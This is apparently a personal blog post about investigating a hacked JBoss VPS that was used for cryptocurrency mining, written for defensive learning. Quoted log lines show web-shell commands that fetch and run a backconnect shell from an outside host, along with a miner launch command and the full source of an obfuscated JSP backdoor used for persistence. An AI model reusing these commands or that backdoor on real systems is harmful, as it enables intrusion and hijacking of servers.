Hi everyone,

Just recently I published my technical goals for 2014  and one of them was to learn more about security. Well it couldn’t have been more appropriate, my Virtual Private Server (VPS) just got hacked, for the second time (I use the VPS to host a Java web application). The first time, I basically rebuilt my server and hardened security as much as I could, but it didn’t work (more on what I did later). I’m not really a system administrator nor do I have much experience on the matter so I guess I must learn my lessons either studying or by being stung.

What happened

My VPS was being used to mine bitcoins, I believe. If you never heard of bitcoins, check Wikipedia

How did I found out something was wrong?

My VPS is configured to send me an email alert when CPU usage is above 90% for more than 2 (two) hours, which was what happened. I received an email by 20.30 last night (Jan, 17 – 2014)

I logged in my VPS and used the top command to find that a single process was using all CPU, this was the culprit:

14915 ?        Ssl  710:07 ./logrotate -o stratum+tcp://bat.minersbest.com:10470 -u apapun.seattle -p x –threads=4 –background

Never heard of something like that, but with a bit of googling I traced it to bitcoin mining.

As I said at the beginning this was the second time my server got hacked (using the same method I believe ), so this time I really had to figure what went wrong as I wasn’t going to do everything from scratch again!

The first time my server was hacked I rebuilt it from scratch with the following steps to increase security:

• Install a newer CentOS version
• Update all packages
• Disable root login via SSH
• Disable password login via SSH (only private keys)
• Setup firewall to block all traffic except port 80 (HTTP), 443 (HTTPS) and 22 (SSH)
• Install Fail2Ban
• Change the user and root password to even more secure passwords (more than 15 chars each)

I thought I had it covered…

I tried checking the SSH log at /var/log/secure and found that lots of attempts were made to login with different users (with common names like admin, oracle, weblogic, postgres, etc…) but none seemed to have succeeded as I had setup only private key login.

Could it be that someone found a vulnerability in my web application? Oh boy…
I have a setup where Jboss hosts the web application and Apache proxies and handles the SSL stuff.

Checking Apache Logs

I went on and checked the Apache access logs (in /var/log/httpd/access_log) around the time the CPU first went off and found something interesting

114.79.12.168 – – [17/Jan/2014:18:15:26 +0000] “GET /a/pwn.jsp?cmd=cat%20/proc/cpuinfo HTTP/1.1” 200 540 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36”

A GET request to /a/pwn.jsp with a parameter cat /proc/cpuinfo… like this JSP was some kind of a web shell.. and it got a 200 OK response? No way…
Back to the browser to check and surely enough, the server responded with an empty page…  Next check… I try /a/pwn.jsp?cmd=ls and ouch… the directory listed…

Ok, so let’s check the full log using the following command (trimmed for readability)

cat /var/log/httpd/acess_log | grep ‘pwn.jsp’

[17/Jan/2014:18:15:26 +0000] “GET /a/pwn.jsp?cmd=cat%20/proc/cpuinfo
[17/Jan/2014:18:15:36 +0000] “GET /a/pwn.jsp?cmd=ps%20x
[17/Jan/2014:18:15:41 +0000] “GET /a/pwn.jsp?cmd=ls%20-al
[17/Jan/2014:18:15:52 +0000] “GET /a/pwn.jsp?cmd=wget%20pdd-nos.info/.tmp/back.conn.txt%20-O%20bd
[17/Jan/2014:18:16:05 +0000] “GET /a/pwn.jsp?cmd=perl%20bd%20pdd-nos.info%2011457
[17/Jan/2014:18:17:44 +0000] “GET /a/pwn.jsp?cmd=ps%20x
[17/Jan/2014:18:18:23 +0000] “GET /a/pwn.jsp?cmd=ps%20x
[17/Jan/2014:18:27:57 +0000] “GET /a/pwn.jsp?cmd=ps%20x

With a little cleaning and url decode, you get the following list of commands:

1. cat /proc/cpuinfo
2. ps x
3. ls -al
4. wget pdd-nos.info/.tmp/back.conn.txt -O bd
5. perl bd pdd-nos.info 11457
6. ps x
7. kill 14873
8. ps x
9. ps x

Interesting to see is that the web shell appears to be just a means to and end, because the wget used in step 4) downloaded something that was used in step 5) by the perl interpreter, I checked the pdd-nos.info link and found what appears to be a some kind of a backdoor shell and I assume this was what was used to launch the bitcoin mining process.

Breach detected

Ok, so I have a problem, a big one. And I need to do two things:

• Eliminate the threat so that my VPS is once again my VPS 🙂
• Find out how they installed a web shell

I started by searching how someone installed a web shell in my Jboss instance. With a bit of googling I found the following resources (the “pwn.jsp” filename was a really big help there)

• http://nickhumphreyit.blogspot.pt/2013/10/jboss-42-hacked-by-pwnjsp.html
• http://i8jesus.com/?p=191

Which in turn led me to find an existing vulnerability regarding JBoss’s HTTP Invoker was probably used, that basically means an attacker could trigger a remote code execution. Not nice!

With additional search I found an exploit ready to be used. A PHP script that downloads a .war application which contains the web shell and uses the known vulnerability in the HTTP invoker to deploy the .war.

But wait a minute, where was that logrotate process that was consuming my CPU (cleverly named so that I wouldn’t notice)? If there’s a process then there’s an executable somewhere. I found it right inside my /JBOSS_HOME/bin folder along with a file named jboss4.txt (also named so that I wouldn’t found him suspicious) whose content was

print “Executed”;
system(“nohup ./logrotate -o stratum+tcp://bat.minersbest.com:10470 -u apapun.seattle -p x –threads=4 &> logrotate.log”);

Now, the issue is… was there something else that could have been changed so that even if I restarted JBoss it would allow the attacker to execute the same attack again? Hunt time!

Indeed I found that in /JBOSS_HOME/server/INSTANCE/server/deploy/management was a little folder called “lMvcdFxMFrvdib.war” (I kid you not) and inside the folder a file named “ZqxQljMExRpriU.jsp” (again I kid you not).. the content of the JSP was

<%@page import=”java.io.*,
java.util.*,
sun.misc.BASE64Decoder”
%>
<%
String PJdpj = “”;
String pIGx = “”;
String RSVw = System.getProperty(“jboss.server.home.dir”);
if (request.getParameter(“pUBYyDsT”) != null){
try {
PJdpj = request.getParameter(“pUBYyDsT”);
pIGx = request.getParameter(“oAEICWIo”);
byte[] rFPE = new BASE64Decoder().decodeBuffer(PJdpj);
String MfNJU = RSVw + “/deploy/” + pIGx + “.war”;
FileOutputStream twkH = new FileOutputStream(MfNJU);
twkH.write(rFPE);
twkH.close();
}
catch(Exception e) {}
}
else {
try{
String VBpM = request.getParameter(“oAEICWIo”);
String dhkDS = RSVw + “/deploy/” + VBpM + “.war”;
new File(dhkDS).delete();
}
catch(Exception e) {}
}

Although the variable names are obfuscated you can tell that it receives some content encoded as Base64 and then writes that content to a .war file inside JBoss’s deploy directory. Clever trick… if I was to remove the attacker’s original war (the one with pwn.jsp) and restart Jboss, this .war file would also be deployed and provide a clear path of attack again!

Securing JBoss

So I had to secure the HTTP Invoker and that was the problem. I had the HTTPInvoker and WebConsole deployed and accessible to anyone (big, big mistake), since I don’t need them, I simply removed them, simple enough. Next, to delete the files!

Eliminate the threat

I had to delete the files in JBOSS_HOME/bin which where used to create shell and mine the bitcoins, I had to delete the pwn.jsp that was installed in my JBoss instance and had to delete the war with the crazy name to stop an attacker from deploying another war without my knowledge.

Conclusion

The conclusion is that you can never be to careful with security. Anyone from around the world can try to frak you and you must be very careful. I overlooked the deployment of the web console and HTTP Invoker and I paid for that. Things could have been worse If the attacker found a way to upgrade the privileges of the user running jboss (it’s a sudoer, but the password is really hard) he could have done a lot more damage. I hope I’ve removed the threat but I can’t be 100% sure, so I’ll have to  keep monitoring, but I’ve learned my lesson.

I found a detailed guide explaining the exploit and how it works, in case you want additional information.

Happy coding and be safe!

Additional resources

• Hacking and Securing Jboss
• Hacking Jboss with a browser
• Securing the JMX Console and WebConsole